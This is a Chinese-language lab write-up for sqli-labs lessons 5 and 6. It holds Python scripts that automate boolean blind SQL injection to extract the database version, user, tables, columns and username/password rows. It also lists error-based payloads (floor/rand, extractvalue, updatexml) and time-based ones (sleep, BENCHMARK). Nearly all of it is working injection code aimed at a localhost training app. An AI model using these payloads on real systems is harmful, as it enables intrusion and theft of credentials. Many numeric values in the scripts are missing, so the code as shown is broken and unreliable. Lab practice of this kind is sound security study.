sqli-labs：5-6，盲注

思考1：当# --+都被过滤时，只能考虑闭合处理

思考2：union联合注入时必须先判断字段长度

eg. id=1' order by 3 and '1'='1

sqli5：

首先判断出对id经过了'处理

其次发现结果不再回显

ok那就盲注了，先判断mysql版本，版本过低可优先考虑dns边信道攻击。

bool盲注（and逻辑）的脚本（substr）

 # -*- coding: utf- -*-
 """
 Created on Sat Mar  :: 

 @author: kenshin
 """

 import requests,re
 url = 'http://localhost/sqli-labs/Less-5/?id=1'
 pattern_mark = 'You are in...........'

 def get_version(url):
     #mysql版本标准：x.x.xx
     #假设lstsion长度为5
     lst = ['#' for x in range(, )]
     lst[] = lst[] = '.'
     for i in (,,,):
         for ii in range(,):
             payload = "\' and ascii(substr((select version()),"+str(i)+",1))="+str(ii)+" --+"
             url_new = url + payload
             r = requests.get(url_new)
             if(re.findall(pattern_mark,r.text)):
                 lst[i-] = str(ii-)
                 break
     sr = ''.join(lst)
     print("the lstsion of mysql："+sr)

 def get_user(url):
     #假设user()长度为15
     lst = ['#' for x in range(,)]
     for i in range(,):
         for ii in 'qwertyuiopasdfghjklzxcvbnm1234567890_-@':
             payload = "\' and substr((select user()),"+str(i)+",1)='"+ii+"' --+"
             url_new = url + payload
             r = requests.get(url_new)
             if(re.findall(pattern_mark,r.text)):
                 lst[i-] = ii
                 print(ii)
                 break
     sr = ''.join(lst)
     print("the user of database: "+sr)

 def get_datadir(url):
     #假设@@datadir长度为32
     lst = ['#' for x in range(,)]
     for i in range(,):
         for ii in ':\\qwertyuiopasdfghjklzxcvbnm1234567890_-':
             payload = "\' and substr((select @@datadir),"+str(i)+",1)='"+ii+"' --+"
             url_new = url + payload
             r = requests.get(url_new)
             if(re.findall(pattern_mark,r.text)):
                 lst[i-] = ii
                 print(ii)
                 break
     sr = ''.join(lst)
     print(sr)

 def get_currTB(url):
     #假设当前数据库最多有10个表[i标识]
     for i in range(,):
         #假设最长的表名长度为10[ii标识]
         lst = ['#' for x in range(,)]
         for ii in range(,):
             for iii in 'qwertyuiopasdfghjklzxcvbnm1234567890_-#':
                 payload = "\' and substr((select * from information_schema.tables where table_schema=database() limit "+str(i)+",1),"+str(ii)+",1)='"+str(iii)+"' --+"
                 url_new = url + payload
                 r = requests.get(url_new)
                 if(re.findall(pattern_mark,r.text)):
                     lst[ii-] = iii
                     print(iii)
                     break
             if(lst[ii-] == '#'):
                break
         sr = ''.join(lst)
         print(sr)

 def get_Column(url,tb):
     #假设当前列最多有3个字段[i标识]
     for i in range(,):
         #假设每个字段最长的数据长度为10
         lst = ['#' for x in range(,)]
         for ii in range(,):
             for iii in '@qwertyuiopasdfghjklzxcvbnm1234567890_-#':
                 payload = "\' and substr((select column_name from information_schema.columns where table_name='"+tb+"' limit "+str(i)+",1),"+str(ii)+",1)='"+str(iii)+"' --+"
                 url_new = url + payload
                 r = requests.get(url_new)
                 if(re.findall(pattern_mark,r.text)):
                     lst[ii-] = iii
                     print(iii)
                     break
             if(lst[ii-] == '#'):
                break
         sr = ''.join(lst)
         print(sr)
 def get_data(url):
     #假设当前列有10条数据[i标识]
     for i in range(,):
         #假设每条数据最长的数据长度为25
         lst = ['#' for x in range(,)]
         for ii in range(,):
             for iii in '%@qwertyuiopasdfghjklzxcvbnm1234567890_-#':
             #变量太多，payload一些变量在代码端自行设置TT
                 payload = "' and substr((select group_concat(id,'%',username,'%',password) from security.users where id="+str(i)+"),"+str(ii)+",1)='"+str(iii)+"' --+"
                 url_new = url + payload
                 r = requests.get(url_new)
                 if(re.findall(pattern_mark,r.text)):
                     lst[ii-] = iii
                     print(iii)
                     break
             if(lst[ii-] == '#'):
                break
         sr = ''.join(lst)
         print(sr)
 """
 dnslog
 """

 #get_lstsion(url)
 #get_user(url)
 #get_datadir(url)
 #get_currTB(url)
 #tb = input("select table >> ")
 #get_Column(url,tb)
 get_data(url)

v1 bool型盲注脚本

# -*- coding: utf- -*-
"""
Created on Sat Mar  :: 

@author: kenshin
"""

import requests,re,time,sys
url = 'http://localhost/sqli-labs/Less-5/?id=1'
pattern_mark = 'You are in...........'

def view_bar(num,total):
    rate = num / total
    rate_num = int(rate * )
    r = '\r[%d%%]%s>' % (rate_num,'='*num)
    sys.stdout.write(r)
    sys.stdout.flush()

def get_version(url):
    #mysql版本标准：x.x.xx
    #假设lstsion长度为5
    lst = ['#' for x in range(, )]
    lst[] = lst[] = '.'
    for i in (,,,):
        view_bar(i,)
        for ii in range(,):
            payload = "\' and ascii(substr((select version()),"+str(i)+",1))="+str(ii)+" --+"
            url_new = url + payload
            r = requests.get(url_new)
            if(re.findall(pattern_mark,r.text)):
                lst[i-] = str(ii-)
                break
    sr = ''.join(lst)
    print("\nthe version of mysql："+sr)

def get_user(url):
    #假设user()长度为15
    lst = ['#' for x in range(,)]
    for i in range(,):
        view_bar(i,)
        for ii in 'qwertyuiopasdfghjklzxcvbnm1234567890_-@':
            payload = "\' and substr((select user()),"+str(i)+",1)='"+ii+"' --+"
            url_new = url + payload
            r = requests.get(url_new)
            if(re.findall(pattern_mark,r.text)):
                lst[i-] = ii
                break
    sr = ''.join(lst)
    print("\n the user of database: "+sr)

def get_datadir(url):
    #假设@@datadir长度为32
    lst = ['#' for x in range(,)]
    for i in range(,):
        view_bar(i,)
        for ii in ':\\qwertyuiopasdfghjklzxcvbnm1234567890_-':
            payload = "\' and substr((select @@datadir),"+str(i)+",1)='"+ii+"' --+"
            url_new = url + payload
            r = requests.get(url_new)
            if(re.findall(pattern_mark,r.text)):
                lst[i-] = ii
                break
    sr = ''.join(lst)
    print(sr)
    time_end=time.time()
    print("\ntotally cost: "+str(time_end-time_start) + "s")

def get_currTB(url):
    #假设当前数据库最多有10个表[i标识]
    for i in range(,):
        view_bar(i,)
        #假设最长的表名长度为10[ii标识]
        lst = ['#' for x in range(,)]
        for ii in range(,):
            for iii in 'qwertyuiopasdfghjklzxcvbnm1234567890_-#':
                payload = "\' and substr((select table_name from information_schema.tables where table_schema=database() limit "+str(i)+",1),"+str(ii)+",1)='"+str(iii)+"' --+"
                url_new = url + payload
                r = requests.get(url_new)
                if(re.findall(pattern_mark,r.text)):
                    lst[ii-] = iii
                    break
            if(lst[ii-] == '#'):
               break
        sr = ''.join(lst)
        print("\n"+sr)

def get_Column(url,tb):
    #假设当前列最多有3个字段[i标识]
    for i in range(,):
        view_bar(i,)
        #假设每个字段最长的数据长度为10
        lst = ['#' for x in range(,)]
        for ii in range(,):
            for iii in '@qwertyuiopasdfghjklzxcvbnm1234567890_-#':
                payload = "\' and substr((select column_name from information_schema.columns where table_name='"+tb+"' limit "+str(i)+",1),"+str(ii)+",1)='"+str(iii)+"' --+"
                url_new = url + payload
                r = requests.get(url_new)
                if(re.findall(pattern_mark,r.text)):
                    lst[ii-] = iii
                    break
            if(lst[ii-] == '#'):
               break
        sr = ''.join(lst)
        print("\n"+sr)
def get_data(url):
    time_start=time.time()
    #假设当前列有10条数据[i标识]
    for i in range(,):
        view_bar(i,)
        #假设每条数据最长的数据长度为25
        lst = ['#' for x in range(,)]
        for ii in range(,):
            for iii in '%@qwertyuiopasdfghjklzxcvbnm1234567890_-#':
            #变量太多，payload一些变量在代码端自行设置TT
                payload = "' and substr((select group_concat(id,'%',username,'%',password) from security.users where id="+str(i)+"),"+str(ii)+",1)='"+str(iii)+"' --+"
                url_new = url + payload
                r = requests.get(url_new)
                if(re.findall(pattern_mark,r.text)):
                    lst[ii-] = iii
                    break
            if(lst[ii-] == '#'):
               break
        sr = ''.join(lst)
        print("\n"+sr)
    time_end=time.time()
    print("totally cost: "+str(time_end-time_start) + "s")
"""
dnslog
"""

#get_version(url)
#get_user(url)
#get_datadir(url)
#get_currTB(url)
#tb = input("select table >> ")
#get_Column(url,tb)
#get_data(url)

v2 增加了进度条

环境均为mysql 5.5.3

（left）

' and left(version(),1)=--+（php5.2版本可用,瞎报）
' and left(database(),)=>'a'--+（php5+版本可用

(substr)

' and substr((select database() limit 0,1),1,1)>'z'--+（php5+版本可用）

(regexp)

' and 1=(select  from information_schema.columns where table_name='users' and column_name regexp '^username')--+（php5+版本可用）

（mid）

' and mid((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1)='d'--+（php5+版本可用）

补充：ascill和ord()可将字符转换为ascill码

sqli-6

对id经过了"处理

floor(rand(0)*2)报错(php 5+版本可用)

-1' union Select 1,count(*),concat(0x7e,(select user()),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+ 
    =>root@localhost
database()
@@datadir
...
-1' union select 1,count(*),concat(0x7e,(select schema_name from information_schema.schemata limit ,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+
    =>security
-1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit ,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+
    =>users
-1' union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit ,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+
    =>password
-1' union select 1,count(*),concat(0x7e,(select password from security.users limit 0,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+
    =>Dump

 # -*- coding: utf- -*-
 """
 Created on Sun Mar  :: 

 @author: kenshin
 """

 import requests,re
 url = 'http://localhost/sqli-labs/Less-5/?id=-1'
 pattern_mark = '~(.+?)~'

 def get_currDB(url):
     payload = "\' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))a from information_schema.columns group by a--+"
     url += payload
     r = requests.get(url)
     rst=re.findall(pattern_mark,r.text)
     print(rst)

 get_currDB(url)

脚本

xpath函数报错

1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
    =>5.5.53

利用数据的重复性

-' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

...

updatexml

' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

sleep延时注入

' and If(substr(database(),1,1)='s',1,sleep(5))--+

BENCHMARK延时注入

1' UNION SELECT (IF(SUBSTRING(current,1,1)='s',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+